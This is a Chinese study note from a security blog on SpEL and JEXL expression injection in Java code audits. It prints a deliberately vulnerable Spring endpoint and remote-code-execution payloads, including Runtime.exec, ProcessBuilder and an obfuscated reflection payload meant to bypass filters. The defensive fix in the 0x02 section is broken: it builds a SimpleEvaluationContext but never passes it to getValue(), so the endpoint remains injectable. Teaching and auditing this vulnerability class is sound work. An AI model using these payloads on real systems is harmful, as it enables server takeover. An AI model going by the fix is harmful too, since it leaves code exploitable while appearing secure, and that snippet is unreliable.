学习笔记-java代码审计-表达式注入
创始人
2024-01-20 21:39:09
0

java代码审计-表达式注入

0x01漏洞挖掘

spel

spel表达式有三种用法:

  1. 注解

    @value("#{表达式}")
    public String arg;

    这种一般是写死在代码中的,不是关注的重点。

  2. xml

    
    

    这种情况通常也是写死在代码中的,但是也有已知的利用场景,就是利用反序列化让程序加载我们实现构造好的恶意xml文件,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等。

  3. 在代码中处理外部传入的表达式

    这部分是关注的重点。

    @RequestMapping("/spel")
    public String spel(@RequestParam(name = "spel") String spel) {ExpressionParser expressionParser = new SpelExpressionParser();Expression expression = expressionParser.parseExpression(spel);Object object = expression.getValue();return object.toString();
    }

漏洞可以利用的前置条件有三个:

  1. 传入的表达式为过滤
  2. 表达式解析之后调用了getValue/setValue方法
  3. 使用StandardEvaluationContext(默认)作为上下文对象

spel表达式功能非常强大,在漏洞利用方面主要使用这几个功能:

  • 使用T(Type)表示Type类的实例,Type为全限定名称,如T(com.test.Bean1)。但是java.lang例外,该包下的类可以不指定包名。得到类实例后会访问类静态方法与字段。

    T(java.lang.Runtime).getRuntime().exec("whoami")
  • 直接通过java语法实例化对象、调用方法

    new ProcessBuilder("whoami").start()//可以利用反射来绕过一些过滤
    #{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}

jexl

关于jexl,比较有代表性的就是前段时间Nexus的rce,Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】文章在这,不再赘述。

其它

还有其它种类的表达式,如EL,不会轻易造成安全问题,暂时略过;OGNL表达式会在struts2相关的漏洞中详细说明。

0x02漏洞防御

  1. 最简单的方式,使用SimpleEvaluationContext作为上下文对象。

    @RequestMapping("/spel")
    public String spel(@RequestParam(name = "spel") String spel) {ExpressionParser expressionParser = new SpelExpressionParser();Expression expression = expressionParser.parseExpression(spel);//SimpleEvaluationContext减少了一部分功能,并在权限控制上进一步细化//可以配置让spel表达式只能访问指定对象Category category = new Category();EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(category).build();Object object = expression.getValue();return object.toString();
    }
  2. 如果SimpleEvaluationContext不能满足需求,就需要对输入进行严格的过滤。

0x03参考链接

SpEL表达式注入

Java特色-表达式注入漏洞从入门到放弃

Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
一帆风顺二龙腾飞三阳开泰祝福语... 本篇文章极速百科给大家谈谈一帆风顺二龙腾飞三阳开泰祝福语,以及一帆风顺二龙腾飞三阳开泰祝福语结婚对应...
美团联名卡审核成功待激活(美团... 今天百科达人给各位分享美团联名卡审核成功待激活的知识,其中也会对美团联名卡审核未通过进行解释,如果能...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...